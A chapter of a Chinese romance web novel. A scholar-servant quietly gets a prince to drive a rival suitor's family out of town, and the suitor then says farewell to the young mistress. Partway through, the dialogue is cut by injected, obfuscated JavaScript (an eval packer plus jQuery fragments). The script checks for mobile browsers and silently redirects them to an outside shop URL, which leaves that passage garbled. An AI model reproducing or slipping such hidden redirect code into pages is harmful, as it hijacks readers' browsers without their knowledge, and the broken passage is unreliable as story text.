云城,三皇子别院。
李明煊放下茶盏,看着对面看似一脸淡定的少年,表情颇有些有些玩味。
“哟,难得你休假没赖在你家小姐那儿,倒是来寻我了?”
“平时若不是本宫找你来云城,我这院子恐怕你都不知道是什么样。”
陆遇亭拿起茶杯轻啜一口,没接他的话,只说了句:
“殿下说笑了。”
两个时辰前。
陆遇亭今日书院休沐,林宝珠和李雪莹几个姑娘去李家的果庄摘果子玩去了。
“你真不跟我去?”林宝珠问道。
“书院最近课业变多了些,奴还是先把事情处理完的好。”
林宝珠不疑有他,一边系披风一边道:“行,你学业还是重要点,给我争气些。”
陆遇亭走近,熟练的接过林宝珠手里的系带,低头帮她,垂眸道:“是,小姐玩的开心。”
*
李明煊回到正题:“说吧,前阵子找本宫借了人,说要查什么,今日又急急忙忙的来云城,到底有什么事?”
陆遇亭从袖里掏出几叠文书,恭敬的递给了他。李明煊倾身接过,拿到之后粗略的翻扫了一眼。
最上边的是陆遇亭对太子党最新动向的分析以及几封截获的密信抄本。
看到这里李明煊还抬眼瞟了陆遇亭一下。
虽说这些情报都极为有用处,但也不是什么十万火急的事情。
但这小子今日火急火燎的来,难道就是为了给他送情报?
平日里他们基本都是书信联系,要么就是他亲自到凌州去。
一是因为怕他的行踪暴露,二也是因为陆遇亭难从林府走开身。
但下一刻,他就翻到了不一样的东西。
“郑家的矿山?”
“郑家在沧州北边的玉矿,一直都是他们生意的命脉。奴借殿下的人已经查过了,发现了些问题,不算大,但也不是小事。”
少年抬眼,凝向三皇子:“奴只求殿下能帮忙‘递话’,不需要闹多大,只有让郑家搬出凌州就好。”
李明煊听到这里忍不住笑了。
他的那些眼线也不是白养的。
凌州的一些大小事,他这里多多少少也有些听闻,尤其是陆遇亭在的林家。
所以他不是不知道最近林宝珠被郑修远缠上的事。
三皇子往后靠了靠,打量着面前这个少年。
他的这位小幕僚向来喜怒不形于色,每次来找他谈的都是朝堂局势,偶尔和他闲聊打趣,也都是一下小的私事,更不用说来求他办事。
今天为了一个郑修远,居然还专程跑一趟云城,连怎么对付人家都想好了,就等着他帮他最后一环呢。
他笑着开口:“你怎么突然对付上郑家了?”
“让我猜猜,和你家那位大小姐有关吗?”
陆遇亭的表情倒是没什么波动,依旧平静道:“郑家的产业若是在凌州扩张,会影响林家商号的生意。殿下需要林家作为凌州的情报据点,林家若受损,对殿下不利。”
“哦,所以你做这些,全是为了我的大业?”三皇子似笑非笑。
“是。”陆遇亭面不改色。
李明煊差点笑出声。
一个做玉石生意,一个主要做茶叶生意,这有什么好冲突的?
但他也没有戳破陆遇亭的心思,只是嘴角的笑意怎么都收不住。
他这个小幕僚什么都好,就是嘴硬。
明明是一听人家天天给林宝珠献殷勤就坐不住了,偏偏要扯出一堆冠冕堂皇的理由。
不过这点他倒不讨厌,反而觉得这小子终于有了几分少年人该有的样子。
更何况他都算好了,只是派人去传出问题把人召回而已,确实对他来说不是什么难事
所以他答应了陆遇亭。
李明煊重新看向少年搜刮来的情报,突然轻笑了一声,打趣道:
“不过,你倒是挺留几分面子,郑家矿山这问题若是往大了说,可是够他们喝一壶的,你确定只要我把他们弄回去就行?”
陆遇亭看了他一眼,回道:“奴从来不是要害人,殿下不必做的如此绝。”
他只是想让郑修远别再缠着她。
李明煊能不明白他吗?轻哼一声,抬抬下巴,示意陆遇亭给自己倒茶:
“行了,本宫知道了。”
“奴谢过殿下。”
*
李明煊的动作比陆遇亭想的要快。
那次会面之后没几天,郑修远的父亲就收到了沧州北边来的急信。
信中说郑家在老家的几处玉矿出了些问题,矿脉的开采权被人质疑,地方官要重新核查契书。
还有几桩陈年旧账也被人翻了出来,账面上的问题有点大,需要郑家当家人亲自回去处理。
这些事情不算小,件件都算得上是要紧事,一点耽搁不得。
加上本家的账面出现问题,别说在凌州设分号了,能不能稳住沧州的本业都还不知道。
得知突然要回沧州了,郑修远当然是十分不情愿。
这算什么?
他刚开始来,想回去的时候不能回去,现在好不容易接受了,又要回去?
而且好不容易能和林宝珠算得上朋友了,现在走了,那跟前功尽弃有什么区别?
他没忍住跟父亲争辩了几句:“爹!我这边还有些事情没处理完呢,怎么就要回去了?”
没想到郑老爷一拍桌子:“臭小子,矿山那边都出事了,必须得马上回沧州!”
“趁着凌州这边的分号还没起来,关了铺面若是卖些钱,能填补上些许空缺都是万幸了。”
“可是……”
“没有可是!赶快收拾东西,明天就启程。”
郑修远在家族的事情上从来争不过父亲,不过他不傻,也明白这件事情的紧迫,还是被母亲哄着,不情不愿的去收拾了行李。
郑家这边兵荒马乱的,林宝珠这边倒是什么消息都不知道。
“今日郑公子居然没来找小姐您诶。”
姑娘正窝在榻上,伏在榻上的小桌上拿着笔对着站在不远处充当“模特”的翠云画画。
听到翠云的话,她才意识到今日好像是没见过郑修远。
那家伙,自从她默认两人算朋友了之后,几乎每天都要来约她出去,虽然他发起的活动多半确实挺有趣的,这她不得不得承认。
但偏偏这郑修远也是个厚脸皮,两人关系变好一点之后,就开始“宝珠宝珠”的叫她。
林宝珠让他别这么叫,这厮就理直气壮的说都是朋友,既然她那些小姐妹朋友可以叫,为什么他不能叫。
林宝珠最烦和他辩论这些事情,也就由着他胡闹了。
“今日不来明日就来了,上次就是这样的,烦人的很。”林宝珠随口道,可语气里的熟稔,让一旁的陆遇亭默默垂下了眼睛。
他明天不会来。
以后也都不会来烦你了,小姐。
“阿亭,你过来看看我画的怎么样?”
陆遇亭收回情绪,白皙的挂上平时淡淡的笑意。
“是,小姐。”
果然就像林宝珠所说的,第二天下午,郑修远就来她门口等她了。
但是这次不是来找她玩了,他是来告别的。
少年人一身宝蓝色的锦衣,站在林府门外等着,俊俏的眉眼间写满了纠结,看见她时眼里才亮了些。
“总之……就是我老家那边出了点事情,现在得搬回去了。”
林宝珠有些诧异:“可是,你们家不是才来凌州一个多月吗?”
她记得他们家的生意才刚铺开吧,怎么忽然就要走?虽说商贾人家四处奔波是常事,但这次时间未免也短了。
郑修远耸耸肩,瞧着倒是一副无所谓的样子:“谁知道呢,不过做生意嘛,可能就是这样吧。”
突然,他又话锋一转,脸上是林宝珠熟悉的欠笑:“哎,宝珠,本少爷走了之后,你不要太想我啊!”
林宝珠无语道:“谁会想你啊?你能不能不要那么自恋。”
虽然和郑修远认识的不算太久,但他们好歹还走到了朋友的地步。
如今他要走了,林宝珠还是难得没继续和他杠:“那你一路顺风,以后要是还回凌州,本小姐请你吃饭。”
郑修远笑嘻嘻的朝她伸出小拇指:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669075|203455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好啊,一言为定!你可不许忘了啊!”
林宝珠嘟囔了一句幼稚,但还是伸出自己的小拇指和他的勾住。
两人的手指分开后,郑修远像是想到了什么,问道:“对了宝珠,我送你那个紫玉戒指还在不在?”
林宝珠想了想:“在啊,你再晚点问我就要拿去当掉了,干嘛,你要用吗?我现在去叫人拿过来。”
“诶诶诶,别当掉,也不用给我,你自己留着。”郑修远接着道:“那紫玉戒指可是我爹送我的,多少人想要都要不到。”
说到这里,他顿了一下,扬起头笑道:“就和本少爷一样。”
林宝珠:“我真的不想说第二遍……你真的,能别那么自恋吗?”
“你这毛病得改改,不然迟早会被打的。”
“林宝珠,本少爷都要走了,你能别损我吗?”
姑娘也耸耸肩:“抱歉,还是没忍住。”
“反正,你把那个紫玉戒指存好,就当……就当我留给你的念想,这样,至少你看见了它,就不会忘记我。”
郑小少爷难得说这样感性的话,林宝珠把差点说出口的那句“谁要留你的念想”吞了回去,最后换成了:“知道了知道了,本小姐府上宝贝多了,留就留着吧,留你这一个紫玉戒指也不多。”
得到她肯定的答复,郑修远才送了一口气。
林宝珠今日穿的很随意,是一件翠绿色的锦绣襦裙。她皮肤白,头发用几根玉簪绾成简单的发髻,搭上玉坠耳环,这样瞧着,就像颗青涩可爱的青苹果。
她平时没有什么宴会社交场合的时候一般都穿的很小清新。
郑修远盯着她看了会儿,突然伸手,从她头上取下一只玉簪。
林宝珠被他突如其来的动作弄的云里雾里的:“你拆我头发干嘛?”
“什么拆头发,你这白玉簪子就送本少爷吧,给我也留个念想。”
林宝珠有些想笑,这种留作纪念的东西不都是要别人送吗?怎么他还自己拿上了?
不过这事放在郑修远身上倒是一点不稀奇。
“干什么?不行吗?不行我也拿走了。”他说着,像是怕林宝珠真的上来抢似的,赶忙收进怀里。
“行了行了,谁和你抢,本小姐府上的簪子多的是。”
最后郑修远上马车离开的时候,他回头看了林宝珠一眼,抿了抿唇,再次开口道:
“宝珠,别忘了你说的话啊!”
林宝珠朝他笑着挥挥手:“放心吧,郑小少爷,一路平安啊。”
姑娘很少对他有这样展颜的笑容,郑修远晃了晃神,想开口说些什么,可最后还是没说出口。
门帘落了下来,马车缓缓的离开。
*
“小姐,郑公子走了您不高兴吗?”
身边翠云见她神色不对,小心翼翼问道,“您不是一直嫌他烦来着?”
其实也不是不高兴,只是她心总里隐隐觉得有些不对劲,但又说不上来哪里不对。
郑家这趟走得实在是仓促,像是被人突然被人推着走了一样。
“烦归烦,但他人又不坏。”林宝珠语气难得有些认真,“好歹也算半个朋友。”
她嘴上这么说,心里那点疑惑却始终没散,总觉得这背后有什么她不知道的事。
不过她也没多想,管他的,反正这种事别让她们林家遇上就行了。
想着这些,林宝珠就要进府,突然就看见了站在不远处,不知道待了多久的陆遇亭。
“阿亭?你下学回来啦?”
陆遇亭见林宝珠看了过来,才提着书箱走到她面前。
“嗯,小姐刚刚是在送郑公子吗?”
“对呀,你说奇不奇怪,好好的突然就搬走了,而且郑家也没待多久啊。”林宝珠一边往回走,一边道。
陆遇亭温声道:“世事无常,谁知道之后的事是怎样呢?”
林宝珠十分赞同的点点头。
“说的也是哦。”
陆遇亭走在她身边,眼神不自觉飘到林宝珠的头发上少了一支玉簪的部分,想起他门外所听到的。
念想?
他冷笑了一声。
做梦。